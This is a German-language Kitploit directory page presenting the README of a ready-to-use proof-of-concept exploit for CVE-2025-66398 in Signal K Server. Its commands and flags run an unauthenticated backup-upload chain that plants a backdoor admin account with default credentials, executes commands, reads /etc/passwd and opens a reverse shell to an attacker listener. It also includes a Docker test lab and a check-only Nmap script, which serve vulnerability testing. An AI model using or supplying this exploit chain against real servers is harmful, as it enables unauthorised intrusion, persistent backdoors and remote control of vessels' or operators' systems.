Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2025-66398 — CVE-2025-66398 — Signal K Server ≤ 2.18.0 RCE PoC | Kitploit
Tools/GitHubGitHub/joshuavanderpoll/cve-2025-66398
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlLernen & BildungRed TeamingRemote-Access-ToolPayload-EntwicklungLabs & Praxis
GitHubjoshuavanderpoll/cve-2025-66398
26vor 6 MonatenNoch nicht geprüft

cve-2025-66398

CVE-2025-66398 — Signal K Server ≤ 2.18.0 RCE PoC

Repository anzeigenWebseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-66398 — Signal K Server RCE PoC

Go Python Nmap

📜 Beschreibung

CVE-2025-66398 ist ein Problem mit dem Signal K Server, bei dem ein nicht authentifizierter Angreifer den Wiederherstellungszustand des Servers über /skServer/validateBackup manipulieren, dann die Konfiguration über /skServer/restore kapern kann, um ein Hintertür-Admin-Konto einzuschleusen und (optional) RCE zu erreichen, indem die Sicherheitsstrategie auf ein vom Angreifer kontrolliertes Node.js-Modul umgestellt wird.

Signal K Server ≤ 2.18.0

Betroffene Versionen:

Auswirkungen (allgemein): Nicht authentifizierte Zustandsverschmutzung → Einschleusen einer Hintertür-Admin → Remote-Code-Ausführung (bei einer Wiederherstellung und anschließendem Neustart)

✨ Funktionen

  • Sicherheitscheck — Testet, ob /skServer/validateBackup unauthentifizierte Uploads akzeptiert.
  • Nmap NSE-Skript — Sofort einsetzbares http-signalk-cve-2025-66398.nse für Netzwerkscans (nur Prüfung, keine Ausnutzung).
  • Interaktiver Exploit-Ablauf — Führt Sie durch die 3 Phasen und fragt nach Anmeldedaten/Pfaden.
  • Nicht-interaktiver Modus — Führen Sie die gesamte Kette mit Flags aus (Prüfung, Befehlsausführung, Datei lesen/schreiben, Reverse Shell).

🛠️ Installation

Python

OSX/Linux

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

Windows

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt

GoLang

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
go build -o exp cve-2025-66398.go

Direkt mit Go installieren

root@kitploit:~
go install github.com/joshuavanderpoll/cve-2025-66398@latest

Ohne Installation ausführen

root@kitploit:~
go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111

⚙️ Verwendung

Dieser PoC hat zwei Modi:

  • Interaktiv (Standard): geführte Eingabeaufforderungen + ein kleines Menü.
  • Nicht-interaktiv: Flags wie -check, -command, -read-file usw. übergeben (nur empfehlenswert, wenn der interaktive Modus zuvor erfolgreich war).

Hilfe / Optionen

root@kitploit:~
python3 cve-2025-66398.py -h
# oder GoLang-Version
./cve-2025-66398 -h
                ___ __ ___ ___      __   __ _______ ___ 
  ____ _____ __|_  )  \_  ) __|___ / /  / /|__ / _ ( _ )
 / _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
 \__|\_/\___|  /___\__/___|___/   \___/\___/___//_/\___/
                                                        
  https://github.com/joshuavanderpoll/cve-2025-66398

usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
              [-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]

CVE-2025-66398 -- Signal K State Pollution -> Backdoor -> RCE

options:
  -h, --help            show this help message and exit
  -target URL           Base URL of the Signal K server
  -useragent UA         User-Agent header for all HTTP requests
  -timeout SEC          Request timeout in seconds (default: 10)
  -target-os OS         Target server OS for payload/path adaptation: linux (default) or windows
  -signalk-dir DIR      Override the Signal K data directory on the target (default: OS-dependent)
  -check                Test if the target is vulnerable without exploiting it
  -admin-user USER      Admin username for Phase 2 restore
  -admin-pass PASS      Admin password for Phase 2 restore
  -backdoor-user USER   Backdoor username to inject (default: backdoor)
  -backdoor-pass PASS   Backdoor password to inject (default: H4CK1nd3x!)
  -command CMD          Execute a command on the server (non-interactive)
  -read-file PATH       Read a remote file via RCE
  -write-file CONTENT PATH
                        Write CONTENT to PATH on the server via RCE
  -code CODE            Inject raw Node.js code as the security module
  -shell                Deploy a reverse shell (requires -lhost and -lport)
  -lhost HOST           Listener host for reverse shell
  -lport PORT           Listener port for reverse shell

Schnellcheck (sicher)

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
# oder GoLang-Version
./cve-2025-66398 -target http://127.0.0.1:3000 -check

Sicherheitscheck

Nmap NSE-Check

Ein eigenständiges Nmap-Skript ist enthalten, das dieselbe unauthentifizierte Prüfung durchführt — keine Ausnutzung.

root@kitploit:~
# Gegen einen bekannten Signal K-Port
nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <Ziel>

# Systemweit installieren und ohne Pfad ausführen
sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
sudo nmap --script-updatedb
nmap -p 3000 --script http-signalk-cve-2025-66398 <Ziel>

Beispielausgabe:

root@kitploit:~
PORT     STATE SERVICE
9360/tcp open  unknown
| http-signalk-cve-2025-66398: 
|   state: VULNERABLE
|   title: Signal K Server Unauthenticated Backup Upload leading to RCE
|   IDs: CVE-2025-66398
|_  references: https://github.com/joshuavanderpoll/cve-2025-66398  |  https://www.cve.org/CVERecord?id=CVE-2025-66398

Interaktive Ausnutzung (geführt)

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000
# oder GoLang-Version
./cve-2025-66398 -target http://127.0.0.1:3000

Interaktives Skript

Das Skript führt folgende Schritte aus:

  1. Phase 1 — Zustandsverschmutzung: Ein bösartiges .backup an /skServer/validateBackup hochladen (keine Authentifizierung)
  2. Phase 2 — Konfigurationsdiebstahl: Als Administrator authentifizieren und /skServer/restore auslösen
  3. Phase 3 — RCE: Ein zweites Backup hochladen, das die Sicherheitsstrategie auf ein bösartiges Modul ausrichtet, Wiederherstellung auslösen, Neustart, dann Ihren Befehl / Ihre Shell ausführen

Nicht-interaktive Beispiele

Die gesamte Kette ausführen (Phasen 1 → 3) und einen Befehl ausführen:

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
# oder GoLang-Version
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"

Befehlsausführung

Eine entfernte Datei lesen (Phase 3):

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
# oder GoLang-Version
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd

Datei lesen

Reverse Shell (Phase 3):

root@kitploit:~
nc -lvnp 4444

python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444
# oder GoLang-Version
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444

Reverse Shell

Hinweise:

  • Wenn Sie -admin-user/-admin-pass nicht übergeben, geht das Skript davon aus, dass das Hintertür-Konto bereits von einem vorherigen Durchlauf aktiv ist.
  • Standard-Hintertür-Anmeldedaten sind backdoor / H4CK1nd3x! (Überschreiben mit -backdoor-user / -backdoor-pass).
  • Phase 3 benötigt das Signal K-Datenverzeichnis. Das Skript versucht, es während Phase 2 automatisch zu erkennen; wenn dies fehlschlägt, übergeben Sie -signalk-dir <VERZEICHNIS>.

🐋 Docker PoC

Eine in sich geschlossene Docker-Compose-Umgebung mit der verwundbaren Software für lokale Tests. Weitere Details finden Sie in DOCKER.md

root@kitploit:~
cd docker/
docker compose up -d
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360

🕵🏼 Referenzen

  • Signal K Server
  • NVD — CVE-2025-66398
  • HackIndex.io — CVE-2025-66398

📢 Haftungsausschluss

Dieser PoC dient ausschließlich zu Bildungs- und autorisierten Sicherheitstests. Führen Sie ihn nicht gegen Systeme aus, die Sie nicht besitzen oder für deren Test Sie keine ausdrückliche Erlaubnis haben.

Tool herunterladen